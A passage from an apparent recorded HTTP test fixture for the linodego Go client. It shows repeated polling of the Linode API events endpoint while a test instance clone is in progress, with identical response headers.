"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.467522, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.547023, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.613536, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.684141, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.836441, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.958142, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 42.011896, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 42.07148, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 42.13725, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 42.21621, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 42.744071, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 42.817222, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 42.883674, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 42.94712, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.004317, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.067427, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 43.131637, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 